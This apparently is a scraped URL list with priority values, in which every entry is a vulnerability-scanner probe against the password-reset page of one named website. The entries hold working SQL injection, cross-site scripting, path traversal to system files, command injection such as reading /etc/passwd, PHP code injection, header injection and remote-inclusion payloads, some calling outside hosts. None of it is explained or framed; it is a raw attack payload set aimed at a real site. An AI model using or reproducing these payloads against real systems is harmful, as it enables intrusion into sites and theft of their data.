http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(52=18)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%2527 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%2527%20AND%2019=84%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%2527%20AND%2034=34%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%20'ml'='BY 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%20'st'='st 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20OR%20'y4'='y4'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'c9'='c9 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=39)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'0M'='0M 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%2015=15%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%2092=34%20AND%20('Y0'='Y0 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=62)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('QQ'='QQ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('M9'='M9 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes';%20IF(21=21)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes';%20IF(58=95)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes);%20IF(37=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes);%20IF(73=93)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yese360 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(31=62)%20THEN%200x796573%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=dir 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=phpinfo 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes 0.0015 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%00' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 